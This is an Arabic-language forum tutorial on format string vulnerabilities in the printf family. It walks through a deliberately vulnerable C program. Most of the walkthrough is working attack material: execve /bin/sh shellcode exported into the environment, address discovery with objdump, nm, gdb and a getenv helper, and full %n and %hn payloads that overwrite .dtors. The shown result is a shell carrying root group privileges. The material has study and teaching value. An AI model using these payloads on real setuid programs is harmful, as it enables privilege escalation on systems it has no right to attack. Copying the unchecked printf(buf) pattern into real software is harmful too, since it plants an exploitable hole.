السلام عليكم...
 
وطريقه استغلالها بشكل  متطور  Format   string  بتكلم اليوم عن ثغرات
 
printf ثغرات الفورمات سترينق  تكون في دوال
printf, fprintf, sprintf, snprintf, vprintf, vfprintf, vsprintf,   vsnprintf
 
المستخدم في داله stringوهي عباره عن غلطات او هفوات المبرمجين ,  عند  استخدامهم لهذي الدوال من غير تعريف ال
بالفورمات باراميتر  printf  هناك انواع كثيره من الفورمات  باراميترز مثل: unsigned hexadecimal - للقرائه من الميموري بصيغة x%
 decimal - للقرائه من الميموري  بصيغة d%
 unsigned decimal - للقرائه من الميموري بصيغة %u
 سترينق - %s
 للكتابه على الميموري - n%
 لكتابة 16 بت على الميموري بدلا من  32 بت - hn%
 
 الي بيهمنا  هو  القرائه والكتابه على الميموري. 
نجيب كود
 مضروب ونشرح عليه  احسن 
     
 	كود:
 #include <%stdio.h%>
 #include <%string.h%>
 
 int main(int argc, char **argv) {
 char buf[1024];
strncpy(buf, argv[1], sizeof(buf) - 1);
 
printf(buf);
 
 return 0;
} 
 
  
 استخدمت بدون تحديد الفورمات باراميتر فيها printf مثل ماشايفين,  الداله
 
 في المدخلات %x نقدر نقرا بيانات من الميموري  اذا  استخدمنا
 
 مثلا
 	كود:
 [drdeath@SecureDeath lab]$ ./vulnf "%x%x%x%x"
 bfffde613f7078257825
 [drdeath@SecureDeath lab]$ 
  مثل ما نشوف طلعنا قيم من  الميموري بصيغة  الهيكس ديسمل.
 
 
الحين المطلوب منا ان نكتب الشل كود على الميموري, ونكتب  عنوان الشل كود  على عنوان من عناوين مسجلات الميموري, في موضوعنا eip السابق عن  ثغرات فيض  المكدس شرحنا كيف نكتب عنوان الشل كود على مسجل
 
.dtors هذي المره  بنشرح كيف نكتب عنوان الشل كود على عنوان
كومبايلرز GNU الي هو عباره عن مسجل  خاص ياتي مع
 
يشتغل بعد ما يبدا البرنامج بالعمل يعني بعد ما تشتغل الداله   .dtors   وعنوان
وهو ينظاف على البرنامج بشكل تلقائي بعد ما تعمل له كومبايل بال,  main()
يعني لو كتبنا على عنوان ,gcc
عنوان الشل كود لنا بيشتغل الشل كود قبل  ما ينهي البرنامج عمله, حلو هذا  المطلوب dtor
 
ممكن نطلعه بطريقتين  .dtors   اول شي بنطلع عناوين
مثل ما تشوفون عنوان objdump الاولى عن طريق
هو08049510  dtor        	كود:
 [drdeath@SecureDeath lab]$ objdump -h vulnf | grep dtor
16  .dtors  00000008 08049510 08049510 00000510 2**2 
 
 
بتشوفون عندنا عنوانين الاول بدايه ,nm  الثانيه عن طريق
و الثاني نهايته الي هو يزيد عن البدايه باربع بايتات  dtor
 
      	كود:
 [drdeath@SecureDeath lab]$ nm vulnf |  grep DTOR
 08049514 d __DTOR_END__
08049510 d __DTOR_LIST__ 
 
 يعني على 08049514 dtors نحن نبغي نكتب على  نهاية
 
نبغي نكتب الشل كود على الميموري ونبغي نعرف عنوانه dtors الحين بعد  ما  طلعنا عنوان
 
env بنكتب الشل كود على
فاللينكس, ما تهمنا الطريقه الي  نكتب فيها الشل كود على الميموري, المهم  انه ينكتب وبس
SHELLCODE بنعرف الشل كود  على الاينفايرومنت باسم 
      	كود:
 [drdeath@SecureDeath lab]$  export SHELLCODE=`perl -e 'print  "\x90"x50,"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'` 
 
 env نتاكد ان الشل  كود انكتب على
  	كود:
 [drdeath@SecureDeath lab]$ echo $SHELLCODE
*********************************************************************************************************************************************************************************************************************************  1*********Ph//shh/bin******************PS*********ᙰ 
 
 ̀
 [drdeath@SecureDeath lab]$  
تمام امورنا طيبه, الحين نبغي نعرف عنوان الشل  كود, ممكن ان نعملها  بالطريقه الكلاسيكيه عن طريق
والبحث عن عناوين النوب  gdb
 
      	كود:
 [drdeath@SecureDeath lab]$ gdb  vulnf
 (gdb) b *main
Breakpoint 1 at 0x80483b4
 (gdb) run
Starting program:  /lab/vulnf
 
Breakpoint 1, 0x080483b4 in main ()
(gdb) x/200x  $esp 
..............
...........
...........
 	كود:
 	0xbfffde5c:  0x00396c65 0x4c454853 0x444f434c 0x90903d45
 0xbfffde6c: 0x90909090 0x90909090 0x90909090  0x90909090
 0xbfffde7c: 0x90909090  0x90909090 0x90909090 0x90909090
 0xbfffde8c: 0x90909090 0x90909090 0x90909090  0x90909090
0xbfffde9c: 0x6850c031  0x68732f2f 0x69622f68 0x50e3896e
0xbfffdeac: 0x99e18953 0x80cd0bb0 0x45485300  0x2f3d4c4c 
................
..........
.....    
 مثل ما شايفين شغلنا البرنامج المصاب  بالديباقر,  وبعدين عملنا
 *main في  بداية  البرنامج عند break point
 run وبعدين شغلنا  البرنامج
وتصفحنا الميموري  , وحصلنا قيم النوب والشل كود بعدها.
وخلاص بيشتغل الشل كود dtor نقدر ناخذ اي  عنوان من عناوين النوب هذي  ونكتبه على عنوان
ههههههههههههه لا صبرو الموضوع بعده  شويه مطول في كمن شغله نحتاج نسويها  قبل.
 
اوكيه هذي الطريقه الكلاسيكيه  لايجاد عنوان الشل كود, نقدر بعد نستخدم  طريقه ثانيه اسهل, وهي عن طريق استخدام  داله في لغه السي getenv() اسمها
 
هذا البرنامج الصغير  بيعطينا عنوان الشل كود مباشره
 
   	كود:
 #include <%stdio.h%>
 int main() {
printf("%p",getenv("SHELLCODE"));
 return 0; }     [drdeath@SecureDeath lab]$ vi egg.c
 [drdeath@SecureDeath lab]$ gcc egg.c -o egg
 [drdeath@SecureDeath lab]$ ./egg 
 0xbfffde7a 
 
  البرنامج عطانا  العنوان
0xbfffde7a  كان كاتب برنامج خاص يحتوي على عدد من الشل كودز   لانطمه مختلفه Qnix أخوي
يقوم بحقن الشل كود في الانفايرومنت ويطعيك عنوانه  مباشره http://www.0x80.org/code/app/envt/envt.c  الحين نبغي  نكتب ,dtors الحين حصلنا على عنوان الشل  كود وعنوان ال 0xbfffde7a  على 0x08049514 
0
 الى 32 بت وتحويله الى  ديسملxbfffde7a بس اول شي  بنحتاج نقسم العنوان
%n علشان نقدر نكتبه بالفورمات  باراميتر
 
بنحول قيم الهيكس الى ديسمل ASCII table باستخدام http://www.asciitable.com/ او ممكن تستخدمون ادات التحويل من  هيكس الى ديسمل http://drdeath.myftp.org:881/crypt.php 
  bf = 
191 ff = 
255 de = 
222 7a = 
122  الحين بنقوم بعمليه حسابيه بسيطه,  بنطرح كل قيمه من  القيمه الي تحتها. بس اذا كانت القيمه الاولى اصغر من الثانيه بنضيف لها عدد 256 (role over) وبعدين بنقوم بالطرح الي تسمى  بعملية        	كود:
 	قيمة bf=191 < ff=255 // نضيف لها 256 وبعدين بنطرح منها 255
 191+256=447-255=192
 
قيمة ff=255 > de=222 // نطرح بشكل طبيعي
 255-222=33
 
قيمة de=222 > 7a=122 // نطرح بشكل طبيعي
 222-122=100
 
7 قيمةa=122 // أخر قيمة نطرحها دائما من 16
 122-16=106 
 
 
dtors الحين هذا القيم بنكتبها على اربع  عناوين من  عناوين
نحن عندنا العنوان
0 بنزيد عليه بعد 3 عناوين بعده, يعني  بيكون كالتاليx08049514
 
 bf = 192 write on 0x08049517
 ff = 33 write on 0x08049516
 de = 100 write on 0x08049515  
 7a = 106 write on 0x08049514 
 
 الحين بنحتاج نعرف كم فورمات باراميتر  بنحتاج علشان  نوصل لعنوان المدخل الي بنكتبه
 
 [drdeath@SecureDeath lab]$ ./vulnf "AAAA %x  %x %x %x"
 AAAA bfffde59 3ef  0 41414141  
 %x مثل ماتشوفون بعد  حوالي اربع
 AAAA  وجدنا مكان مدخلنا الي هو
 والي يقابله 41414141
 
 ممكن انك تروح مباشره  وتستعرض قيمة الخانه الرابعه  بهذا الشكل
 
 [drdeath@SecureDeath lab]$ ./vulnf "AAAA"%4\$x
 AAAA41414141 
بنكتب عناوين AAAA تمام, الحين بنعوض  بدل
الاربعه الي عندنا, يعني بتنكتب عناوين الديتورز على هذي الاماكن من   الميموري dtors
 
     %4\$x
%5\$x
%6\$x
%7\$x    
 وبالتالي على هذي الخانات بنروح وبنكتب عنوان  الشل  كود لنا, الي نحنا حولناه الى صيغه ديسمل 23 بت
 
سنقوم بكتابة قيم  الديسمل التي هي في الحقيقه عنوان الشل كود داخل عناوين  الديتور.
%x او %u و  %nبنستخدم
 
الاستغلال سيكون بالشكل التالي
 
      	كود:
 [drdeath@SecureDeath lab]$ ./vulnf `printf  "\x14\x95\x04\x08\x15\x95\x04\x08\x16\x95\x04\  x08\ x17\x95\x04\x08"`%106x%4\$n%100x%5\$n%33x%6\$n%192  x%7\$n
 sh-3.1$ id
 uid=500(drdeath) gid=500(drdeath)  groups=0(root),10(wheel),500(drdeath)
 sh-3.1$ 
 
 opcode بصيغه dtorلكتاتب عناوين ال printf مثل   ما شايفين, استخدمنا
(little endianا (بطريقه عكسيه وفقا لبروسيسرات  ال
 
 
لكتابت قيم الديسمل على الاماكن الي حددناها الي هي تبدأ من 4 الى 7  %x و  %n وبعدها استخدمنا الفورمات سترينق
واشتغل معانا الشل وحصلنا على صلاحيات  يوزر اخر الرووت حيث ان الملف  المضروب يملك صلاحيات
لليوزر رووت  guid
 
 ممكن ايضا كتابت عنوان الشل كود على الديتور بصيغة  ديسمل ولكن على شكل  16 بت , بدلا من 32 بت
 
عنوان الشل كود الي هو
0xbfffde7a
بنقسمه الى  قسمين فقط بدل الاربع اقسام, وبنحوله الى ديسمل , النصف الاول  بنطرحه من 8 والثاني  بنطرحه من الاول. نطبق ونشوف
 
      	كود:
 	0xbfffde7a
 bfff=49151-8=49143
 de7a=56954-49151=7803 
 
 الاستغلال بيكون نفس الاستغلال الي كتبناه قبل بس بدل
 %hn بنستخدم %n
 
 لكن عناوين الديتور  بتكون فقط عنوانين
 0x08049514 الاول بيكون
 0x08049514+2 والثاني  بيكون
 0x08049516 الي هو بيكون
 
 
 bfff=49143 write on 0x08049516
 de7a=7803 write on 0x08049514   
 الاستغلال بيكون بهذا الشكل
 
 [ 	كود:
 drdeath@SecureDeath lab]$ ./vulnf `perl -e 'print  "\x16\x95\x04\x08\x14\x95\x04\x08"'`%.49143u%4\$hn %.7803u%5\$hn
 sh-3.1$ id
 uid=500(drdeath) gid=500(drdeath)  groups=0(root),10(wheel),500(drdeath)
 sh-3.1$ 
 
 
  مثل ماشايفين ,اكتبنا قيم  16 بت ديسمل على قيم  الديتور في العنوانين المحليين
 \$hnو  %5 \$hn4%
 تعطي نفس الناتج ما تفرق %u استخدمنا %x وبدل
واستخدمت
ماتفرق كلهم يعطون  نفس النتيجه printf في الاستغلال بدل perl
 =============
وياشباب انا ماني معصوم من الخطأ 
يعني إذا وجدتم خطأ 
ياليت لو تراسلوني على الخاص
  إتمنالكم التوفيق 
تشآآآآوز